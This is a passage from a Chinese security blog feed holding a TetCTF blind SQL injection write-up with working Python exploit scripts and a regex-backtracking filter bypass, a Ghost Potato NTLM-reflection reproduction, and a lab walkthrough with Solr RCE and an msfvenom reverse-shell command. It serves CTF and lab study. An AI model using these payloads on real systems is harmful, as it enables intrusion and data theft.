href="#0x03-Links🔗" class="headerlink" title="0x03 Links🔗"></a>0x03 Links🔗</h2><p><a href="https://github.com/tyranid/DotNetToJScript" target="_blank" rel="noopener">https://github.com/tyranid/DotNetToJScript</a><br><a href="https://github.com/Cn33liz/StarFighters" target="_blank" rel="noopener">https://github.com/Cn33liz/StarFighters</a><br><a href="https://github.com/med0x2e/GadgetToJScript" target="_blank" rel="noopener">https://github.com/med0x2e/GadgetToJScript</a><br><a href="https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html" target="_blank" rel="noopener">https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html</a><br><a href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/" target="_blank" rel="noopener">https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/</a><br><a href="https://3gstudent.github.io/3gstudent.github.io/GadgetToJScript%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/" target="_blank" rel="noopener">https://3gstudent.github.io/3gstudent.github.io/GadgetToJScript%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-03-10 17:48:22</p>
</blockquote>
<p><img src="/wallpaper/girl_umbrella_rain.jpg" alt></p>
<
</summary>
<category term="Red-Team Tricks" scheme="http://patrilic.top/categories/Red-Team-Tricks/"/>
<category term="DotNet" scheme="http://patrilic.top/tags/DotNet/"/>
</entry>
<entry>
<title>TetCTF - Secure System Write-up</title>
<link href="http://patrilic.top/2020/01/09/TetCTF%20-%20Secure%20System%20Write-up/"/>
<id>http://patrilic.top/2020/01/09/TetCTF - Secure System Write-up/</id>
<published>2020-01-09T06:49:00.000Z</published>
<updated>2020-03-18T09:46:39.603Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-01-09 14:49:00<br><img src="/wallpaper/vocaloid.jpg" alt></p></blockquote><h2 id="0x00-题目描述"><a href="#0x00-题目描述" class="headerlink" title="0x00 题目描述"></a>0x00 题目描述</h2><p>题目链接: <a href="http://45.77.240.178:8002/" target="_blank" rel="noopener">http://45.77.240.178:8002/</a></p><p><img src="/TetCTF - Secure System Write-up.resources/B29EA8C6-2D14-41CF-99C1-FF9B0EDFB058.png" alt="ea89ccbacf44ccaeee8376d3d5bfb923"></p><h2 id="0x01-Write-up"><a href="#0x01-Write-up" class="headerlink" title="0x01 Write-up"></a>0x01 Write-up</h2><p>题目给出的源码只有一个index.php文件<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">require_once</span>(<span class="string">'dbconnect.php'</span>);</span><br><span class="line">$flag = mysqli_query($conn,<span class="string">"SELECT * FROM xxxxxxxxxxxxxxxxxxx"</span>)->fetch_assoc()[<span class="string">'yyyyyyyyyyyyyyyyyyyy'</span>]; <span class="comment">//Sorry It's our secret, can't share</span></span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><br><br><br><br><center></span><br><span class="line">Security Check!!! Please enter your ID to prove who are you !!!:</span><br><span class="line"><form action=<span class="string">"index.php"</span> method=<span class="string">"POST"</span>></span><br><span class="line"> <input name=<span class="string">"id"</span> value=<span class="string">""</span> /><br></span><br><span class="line"> <input type=<span class="string">"submit"</span> value=<span class="string">"Submit"</span> /></span><br><span class="line"></form></span><br><span class="line"></center></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'id'</span>]) && !<span class="keyword">empty</span>($_POST[<span class="string">'id'</span>]))</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (preg_match(<span class="string">'/and|or|in|if|case|sleep|benchmark/is'</span> , $_POST[<span class="string">'id'</span>])) </span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Tet nhat ai lai hack nhau :(, very dangerous key word'</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">elseif</span> (preg_match(<span class="string">'/order.+?by|union.+?select/is'</span> , $_POST[<span class="string">'id'</span>])) </span><br><span class="line"> { </span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Tet nhat ai lai hack nhau :(, very dangerous statement'</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> $user = mysqli_query($conn,<span class="string">"SELECT * FROM users WHERE id="</span>.$_POST[<span class="string">'id'</span>])->fetch_assoc()[<span class="string">'username'</span>]; </span><br><span class="line"> <span class="keyword">if</span>($user!==<span class="string">'admin'</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Hello '</span>.htmlentities($user);</span><br><span class="line"> <span class="keyword">if</span>($user===<span class="string">'admin'</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'This can\'t be =]] Just put here for fun lul'</span>;</span><br><span class="line"> <span class="keyword">die</span>($flag);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></p><p>一看源码就知道是道纯粹的SQL注入题目, 而且获得flag的形式应该是直接从数据库中注出来</p><p>因为过滤了sleep以及benchmark,所以应该是布尔盲注<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> * <span class="keyword">from</span> <span class="keyword">user</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="number">1</span> && <span class="keyword">ord</span>(<span class="keyword">substr</span>(<span class="keyword">DATABASE</span>(),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">104</span>;</span><br></pre></td></tr></table></figure></p><p>但是ord的or被过滤了,这里可以使用<code>convv(hex())</code>或者<code>ascii</code><br><img src="/TetCTF - Secure System Write-up.resources/96B675BE-34F7-4F19-B189-3981EFF17340.png" alt="c91fcfd31936474702b02abb961fbca8"></p><p>先获取<code>database()</code>试试<br><img src="/TetCTF - Secure System Write-up.resources/4ED56111-7CBB-42C9-95B5-5243D32628AA.png" alt="f2f429a807a9fb530ec8f2fad4141522"></p><p>判断出database长度为10<br><img src="/TetCTF - Secure System Write-up.resources/24D8112D-2B2F-4583-9DE2-F57F5DA54EE7.png" alt="7782176063dc8cf8b343b49fb35cafd2"></p><p>写个小脚本跑一下数据库名<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Time : 2020-01-09 11:31</span></span><br><span class="line"><span class="comment"># @Author : Patrilic</span></span><br><span class="line"><span class="comment"># @FileName: sql_dbs.py</span></span><br><span class="line"><span class="comment"># @Software: PyCharm</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://45.77.240.178:8002/index.php"</span></span><br><span class="line">proxy = {<span class="string">"http"</span>:<span class="string">"127.0.0.1:8000"</span>}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">database_name = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">11</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">128</span>):</span><br><span class="line"> payload = {</span><br><span class="line"> <span class="string">"id"</span>:<span class="string">"(ascii(substr(database(),{},10))={})+1"</span>.format(i, j)</span><br><span class="line"> }</span><br><span class="line"> res = requests.post(url, payload)</span><br><span class="line"> <span class="comment"># print(payload)</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'guest'</span> <span class="keyword">in</span> res.text:</span><br><span class="line"> database_name += chr(j)</span><br><span class="line"> print(database_name)</span><br><span class="line"></span><br><span class="line"><span class="comment"># owl_donkey</span></span><br></pre></td></tr></table></figure></p><p><img src="/TetCTF - Secure System Write-up.resources/31624890-45DB-4217-9315-E602A17EC5B8.png" alt="85c5dd1254be513f98f349eb7cd47fb8"></p><p>注表名的时候又遇到了问题,information_schema和mysql.innodb_table_stats都需要使用<code>in</code>,这里需要拿<br><code>sys.x$schema_flattened_keys</code>绕过</p><p>关于<code>sys.x$schema_flattened_keys</code>,可以看它的组成语句<br><a href="https://github.com/mysql/mysql-sys/blob/master/views/i_s/x_schema_flattened_keys.sql" target="_blank" rel="noopener">https://github.com/mysql/mysql-sys/blob/master/views/i_s/x_schema_flattened_keys.sql</a></p><p>同样的,也可以使用 <code>sys.x$schema_table_statistics</code>,这个更好,因为sys.x$schema_flattened_keys是基于index的,这个的话,会把<code>sys.x$schema_flattened_keys</code>表中没有的也列出来</p><p><a href="https://dev.mysql.com/doc/refman/5.7/en/sys-schema-table-statistics.html" target="_blank" rel="noopener">https://dev.mysql.com/doc/refman/5.7/en/sys-schema-table-statistics.html</a></p><p><img src="/TetCTF - Secure System Write-up.resources/56B35F7D-EA38-4663-ACA0-1FC4244D2908.png" alt="2b07bdb34413f05f7ca6eb4b030e607d"></p><p><img src="/TetCTF - Secure System Write-up.resources/79AD0B24-8E8C-41A6-B72D-0944D8045E6C.png" alt="8fb416e975b51f8df333dd0484f56f1c"></p><p><img src="/TetCTF - Secure System Write-up.resources/007A7C9A-7EFE-488D-B41A-017133728593.png" alt="6e9e8286efbf5b718063109b83239aac"></p><p><img src="/TetCTF - Secure System Write-up.resources/6B884E33-3C68-4377-B756-B151E6162017.png" alt="9242e3a76332820539e37d6cb5ae2834"></p><p><img src="/TetCTF - Secure System Write-up.resources/007A7C9A-7EFE-488D-B41A-017133728593.png" alt="6e9e8286efbf5b718063109b83239aac"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Time : 2020-01-09 12:23</span></span><br><span class="line"><span class="comment"># @Author : Patrilic</span></span><br><span class="line"><span class="comment"># @FileName: sql_tbs.py</span></span><br><span class="line"><span class="comment"># @Software: PyCharm</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://45.77.240.178:8002/index.php"</span></span><br><span class="line">proxy = {<span class="string">"http"</span>:<span class="string">"127.0.0.1:8000"</span>}</span><br><span class="line"></span><br><span class="line">chars = <span class="string">'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+{}-='</span></span><br><span class="line">table_name = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">26</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> chars:</span><br><span class="line"> payload={</span><br><span class="line"> <span class="string">'id'</span>: <span class="string">'2 && ascii(substr((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 1,1),{},25))=ascii("{}")'</span>.format(i, j)}</span><br><span class="line"> res = requests.post(url, headers={<span class="string">'Content-Type'</span>: <span class="string">'application/x-www-form-urlencoded'</span>}, data=payload, proxies = proxy)</span><br><span class="line"> <span class="comment"># res = requests.post(url, payload)</span></span><br><span class="line"> print(payload)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'guest'</span> <span class="keyword">in</span> res.text:</span><br><span class="line"> print(payload)</span><br><span class="line"> table_name += chr(j)</span><br><span class="line"> print(table_name)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#Th1z_Fack1n_Fl4444g_Tabl3</span></span><br></pre></td></tr></table></figure><p>最后需要用到不用列名的注入<br><img src="/TetCTF - Secure System Write-up.resources/8432F298-8697-47E9-BE14-878DFC881031.png" alt="a76496e56389cb4c52c6398954e74c6c"></p><p>但是过滤了union…select<br>可以通过利用pcre的正则回朔限制-> <a href="https://www.php.net/manual/en/pcre.configuration.php" target="_blank" rel="noopener">https://www.php.net/manual/en/pcre.configuration.php</a></p><p><img src="/TetCTF - Secure System Write-up.resources/F66E9D29-E130-42A6-A1B6-8EF052EDA480.png" alt="a680d61975012035e830da60c6570f88"></p><p><img src="/TetCTF - Secure System Write-up.resources/64083455-674F-45B7-95F1-75E9802FCD3B.png" alt="07bdea7497a2c62c8d713e3694d4d219"></p><p><img src="/TetCTF - Secure System Write-up.resources/F4E3B33D-6A21-4F47-8074-D4A04B97F4F3.png" alt="0e569c73134f02f2a88532cee36b032f"><br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Time : 2020-01-09 14:16</span></span><br><span class="line"><span class="comment"># @Author : Patrilic</span></span><br><span class="line"><span class="comment"># @FileName: sql_flag.py</span></span><br><span class="line"><span class="comment"># @Software: PyCharm</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://45.77.240.178:8002/index.php"</span></span><br><span class="line">payload = <span class="string">'union/*'</span>+<span class="string">'a'</span>*<span class="number">1000000</span>+<span class="string">'*/select 1,(select b from (select 1 as a, 2 as b union/*'</span>+<span class="string">'a'</span>*<span class="number">1000000</span>+<span class="string">'*/select * from Th1z_Fack1n_Fl4444g_Tabl3)c limit 1,1),3-- -'</span></span><br><span class="line"></span><br><span class="line">r = requests.post(url,headers={<span class="string">'Content-Type'</span>:<span class="string">'application/x-www-form-urlencoded'</span>},data={<span class="string">'id'</span>:<span class="string">'-2 {}'</span>.format(payload)})</span><br><span class="line">print(r.text)</span><br></pre></td></tr></table></figure></p><p><img src="/TetCTF - Secure System Write-up.resources/6462EED4-7128-4E75-9148-7E067338D346.png" alt="299159676ac7baa72c532e811c662aa5"></p><h2 id="0x02-其他解法"><a href="#0x02-其他解法" class="headerlink" title="0x02 其他解法"></a>0x02 其他解法</h2><p>如果不用管正则回朔的话,可以使用这个payload<br><img src="https://miro.medium.com/max/2946/1*MWzWtiWrwUBXJ_IPgG5dZw.png" alt="c0f735cf4c0143d7a7f22e9e3a41c996.png"><br>链接: <a href="https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952" target="_blank" rel="noopener">https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952</a></p><p><img src="/TetCTF - Secure System Write-up.resources/D9FB03F7-73AB-4245-B66A-E84AF090B105.png" alt="d8102c59d29372db6ba37a26ff4d1ed9"></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-01-09 14:49:00<br><img src="/wallpaper/vocaloid.jpg" alt></p>
</blockquote>
<h2 id="0x00-题目
</summary>
<category term="Write-up" scheme="http://patrilic.top/categories/Write-up/"/>
<category term="SQLi" scheme="http://patrilic.top/tags/SQLi/"/>
</entry>
<entry>
<title>Ghost Potato 复现</title>
<link href="http://patrilic.top/2020/01/08/Ghost%20Potato%20%E5%A4%8D%E7%8E%B0/"/>
<id>http://patrilic.top/2020/01/08/Ghost Potato 复现/</id>
<published>2020-01-08T06:11:00.000Z</published>
<updated>2020-01-15T07:25:23.054Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-01-08 14:11:00<br><img src="/wallpaper/8898355.png" alt></p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>11月份的时候shenaniganslabs发了博文,讲了关于CVE-2019-1384的漏洞详情<br><a href="https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html" target="_blank" rel="noopener">https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html</a></p><p>这同样是一个Potato系列的漏洞,简单来说就是绕过了MS08-068的修补方案,实现本机的NTLM反射,达到提权的目的。</p><h2 id="0x01-NTLM-认证过程"><a href="#0x01-NTLM-认证过程" class="headerlink" title="0x01 NTLM 认证过程"></a>0x01 NTLM 认证过程</h2><p>要搞清楚NTLM反射,首先来回顾一下NTLM的认证过程。</p><p>NTLM认证基于C/S验证机制,由三种消息组成: 协商,质询,验证</p><p>type1:协商 </p><p>主要是客户端向服务器客户端支持和服务器请求的功能列表<br><img src="/Ghost Potato 复现.resources/F907D21A-6198-4A06-BE96-D67FE0F0D94D.png" alt="8a9adf48b220765148159420352b0926"></p><p><img src="/Ghost Potato 复现.resources/CFA2D1D3-F936-415C-8CDF-D2B96E4387C4.png" alt="5fe17581a5f18b94e056372f40a143b3"></p><p>type2: 质询</p><p>服务器向客户端发送服务器支持的功能列表,并且同时发送一个16位的Challenge, 并且同时发送服务器的各类信息于<code>Target Info</code>字段<br><img src="/Ghost Potato 复现.resources/FDDC5458-4604-4EDD-9229-C41409298B7A.png" alt="17a05d76aea975ebc761066fb353203a"><br><img src="/Ghost Potato 复现.resources/10DB989A-A63E-407A-8E68-65D16E8F9F1E.png" alt="1fc4e34dc48fe639178e8635e331b489"></p><p>type3: 验证</p><p>客户端收到Challenge后,使用自身的NTLM Hash加密Challenge得到Response,将Response发送给服务端.然后服务端在本地调用用户NTLM hash加密Challenge后,与Response进行对比。<br><img src="/Ghost Potato 复现.resources/524712DF-E16A-47B1-8C8C-84AF4B784EB2.png" alt="325b4135ce785efc07a203672063569d"><br><img src="/Ghost Potato 复现.resources/F0CDF5B0-E83B-430A-ADC9-87D6E2D07DBD.png" alt="65e13805817ab41463a35466c17db3cd"></p><h2 id="0x02-ms08-068"><a href="#0x02-ms08-068" class="headerlink" title="0x02 ms08-068"></a>0x02 ms08-068</h2><p><img src="/Ghost Potato 复现.resources/045D32EE-D9C4-4643-B428-E94448F1F328.png" alt="1b4ac4b788cb76a6e198f0892b450ff5"></p><p>这里需要看一个函数<a href="https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontexta" target="_blank" rel="noopener">InitializeSecurityContextA</a></p><p>这个函数属于<code>sspi.h</code>, 关于SSP的作用就不再赘述了</p><p>函数主体:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">SECURITY_STATUS SEC_ENTRY <span class="title">InitializeSecurityContextA</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> PCredHandle phCredential,</span></span></span><br><span class="line"><span class="function"><span class="params"> PCtxtHandle phContext,</span></span></span><br><span class="line"><span class="function"><span class="params"> SEC_CHAR *pszTargetName,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">unsigned</span> <span class="keyword">long</span> fContextReq,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">unsigned</span> <span class="keyword">long</span> Reserved1,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">unsigned</span> <span class="keyword">long</span> TargetDataRep,</span></span></span><br><span class="line"><span class="function"><span class="params"> PSecBufferDesc pInput,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">unsigned</span> <span class="keyword">long</span> Reserved2,</span></span></span><br><span class="line"><span class="function"><span class="params"> PCtxtHandle phNewContext,</span></span></span><br><span class="line"><span class="function"><span class="params"> PSecBufferDesc pOutput,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">unsigned</span> <span class="keyword">long</span> *pfContextAttr,</span></span></span><br><span class="line"><span class="function"><span class="params"> PTimeStamp ptsExpiry</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure></p><p>可以看到存在一个pszTargetName参数, ms08-068的修复方案也就是利用这个参数进行的<br><img src="/Ghost Potato 复现.resources/115F192E-A60E-4479-8895-32F04A94AB78.png" alt="29288cfa28f66aba44e0ab9f73a517f1"></p><p>当我们存在两个主机进行SMB通信时,A向B发送了type1请求,同时他将自己的pszTargetName设置为<code>cifs/B</code>, 当拿到type2的challenge时,向lsass进程中写入缓存 -> (Challenge,<code>cifs/B</code>)。 而后A向B发送type3,B收到response后,会到lsass中去寻找是否存在缓存(Challenge,<code>cifs/B</code>), 因为只有A主机写入了缓存,所以如果A和B不是同一个主机,那么肯定B主机不存在缓存,认证成功。</p><h2 id="0x03-cve-2019-1384"><a href="#0x03-cve-2019-1384" class="headerlink" title="0x03 cve-2019-1384"></a>0x03 cve-2019-1384</h2><p>这个漏洞主要是绕过了缓存的限制,因为lsass中的缓存(Challenge,<code>cifs/B</code>),在300s后会自动消失</p><p>利用流程:<br><img src="/Ghost Potato 复现.resources/3EB9D266-B198-4E2D-B772-8B40453DCB8A.png" alt="6f8b3a6d4a3d8162d7f0038da8ea9c8d"></p><p><img src="/Ghost Potato 复现.resources/340E6D7C-E3A5-422A-ADDB-CE4A88B1B4FB.png" alt="a4cc7175c7336fa2ce112be224e599ba"></p><p>经过315s后,再发送type3, 那么到时候lsass中的缓存已经消除,可以成功认证本机器</p><h2 id="0x04-漏洞复现"><a href="#0x04-漏洞复现" class="headerlink" title="0x04 漏洞复现"></a>0x04 漏洞复现</h2><p>作者原文中提供的Poc: <a href="https://shenaniganslabs.io/files/impacket-ghostpotato.zip" target="_blank" rel="noopener">impacket-ghostpotato</a></p><p>由于他给的Poc只支持HTTP协议,所以我们使用IE浏览器进行访问即可<br>配合responder的LLMNR投毒<br><code>responder -I eth0 --lm</code><br><img src="/Ghost Potato 复现.resources/8B3E0429-8C31-4B51-A041-B53AA33DFED2.png" alt="e7d97909c09c6df2e635a79f42d008fa"></p><p><img src="/Ghost Potato 复现.resources/931621A9-E083-432B-995A-E8456273F419.png" alt="4b70a636a099df1df6edaa589a7b502a"></p><p><img src="/Ghost Potato 复现.resources/BC25ADA7-5E50-4761-90F1-2CBFAAA8A1D8.png" alt="4293fc2ae9929ce256a093d83abd5268"></p><p>上传rat文件到WIndows启动目录,用户下次登录时自启动<br><img src="/Ghost Potato 复现.resources/57058489-892B-40D3-AB6D-C19EDC7412FB.png" alt="38bfbc3c2bfbf0f45b824b6925c00bcc"></p><p><img src="/Ghost Potato 复现.resources/14664359-3329-4C68-A03A-8AD724A586A5.png" alt="c7d00b80d814559146c3e304fad08fcd"><br><img src="/Ghost Potato 复现.resources/BFA561E6-5967-4E97-A1B8-561A3FFC5BC4.png" alt="0f90f41771ce981e210e0e55f5a0df6e"></p><p>Poc提供两个上传路径<br><img src="/Ghost Potato 复现.resources/C5DF6644-AD4F-47E3-AD26-55318D0F2C63.png" alt="4274fad42facd59cf6937337a452c9d9"></p><h2 id="0x05-引用链接🔗"><a href="#0x05-引用链接🔗" class="headerlink" title="0x05 引用链接🔗"></a>0x05 引用链接🔗</h2><p><a href="https://daiker.gitbook.io/windows-protocol/ntlm-pian/4" target="_blank" rel="noopener">https://daiker.gitbook.io/windows-protocol/ntlm-pian/4</a><br><a href="https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html" target="_blank" rel="noopener">https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html</a><br><a href="https://support.microsoft.com/kb/957097/" target="_blank" rel="noopener">https://support.microsoft.com/kb/957097/</a><br><a href="http://davenport.sourceforge.net/ntlm.html" target="_blank" rel="noopener">http://davenport.sourceforge.net/ntlm.html</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-01-08 14:11:00<br><img src="/wallpaper/8898355.png" alt></p>
</blockquote>
<h2 id="0x00-前言"
</summary>
<category term="内网渗透" scheme="http://patrilic.top/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
<category term="Potato" scheme="http://patrilic.top/tags/Potato/"/>
</entry>
<entry>
<title>iSoonLab.org Write-up</title>
<link href="http://patrilic.top/2019/12/12/iSoonLab.org%20Write-up/"/>
<id>http://patrilic.top/2019/12/12/iSoonLab.org Write-up/</id>
<published>2019-12-12T06:32:22.000Z</published>
<updated>2019-12-12T07:26:41.417Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2019-12-12 14:32:22<br><img src="/wallpaper/[30125]16347313.jpg" alt></p></blockquote><h2 id="题目拓扑"><a href="#题目拓扑" class="headerlink" title="题目拓扑"></a>题目拓扑</h2><p>Linux1 - solr: 192.168.21.12</p><p>Linux2 - joomla!: 192.168.21.20</p><p>Backup.sub.iSoonLab.org: 192.168.21.8</p><p>subdc.sub.iSoonLab.org: 192.168.21.4 / 10.153.69.50</p><p>DC.iSoonLab.org: 10.153.69.5</p><p><img src="/iSoonLab.org Write-up/image-20191201130447779.png" alt="image-20191201130447779"></p><h2 id="Linux1"><a href="#Linux1" class="headerlink" title="Linux1"></a>Linux1</h2><p>目标:192.168.121.131</p><p><img src="/iSoonLab.org Write-up/image-20191130235112082.png" alt="image-20191130235112082"></p><p>开放8983端口,打开是solr未授权,8.1.1版本,联想到前段时间很火的Apache Solr RCE</p><p><a href="https://www.freebuf.com/vuls/218730.html" target="_blank" rel="noopener">https://www.freebuf.com/vuls/218730.html</a> </p><p>根据网上的exp</p><p><a href="http://192.168.121.131:8983/solr/admin/cores?wt=json&indexInfo=false" target="_blank" rel="noopener">http://192.168.121.131:8983/solr/admin/cores?wt=json&indexInfo=false</a></p><p><img src="/iSoonLab.org Write-up/image-20191130235337378.png" alt="image-20191130235337378"></p><p>存在iSoon core</p><p><img src="/iSoonLab.org Write-up/image-20191130235734297.png" alt="image-20191130235734297"></p><p><img src="/iSoonLab.org Write-up/image-20191130235823000.png" alt="image-20191130235823000"></p><p>确实没问题,弹个shell到本机来</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf</span><br></pre></td></tr></table></figure><p>因为solr用户没有/tmp目录写权限, 可以参考@haya大手子的<a href="https://forum.90sec.com/t/topic/579" target="_blank" rel="noopener">https://forum.90sec.com/t/topic/579</a></p><p>用perl来执行脚本</p><p><img src="/iSoonLab.org Write-up/image-20191201002127259.png" alt="image-20191201002127259"></p><p>flag就在当前目录</p><p><img src="/iSoonLab.org Write-up/image-20191201002513741.png" alt="image-20191201002513741"></p><p>当然,也可以在/var/tmp里写文件~</p><h2 id="Linux2"><a href="#Linux2" class="headerlink" title="Linux2"></a>Linux2</h2><p>简单侦查后,发现存在192.168.21.0/24网段</p><p><img src="/iSoonLab.org Write-up/image-20191201002640156.png" alt="image-20191201002640156"></p><p>使用msf自带的sock4a作代理即可,Linux1只是用来撕来流量口子</p><p>代理内网后,发现同网段存在三台机器</p><p>找到Linux2 : 192.168.21.20, 开放HTTP端口</p><p><img src="/iSoonLab.org Write-up/image-20191201003644193.png" 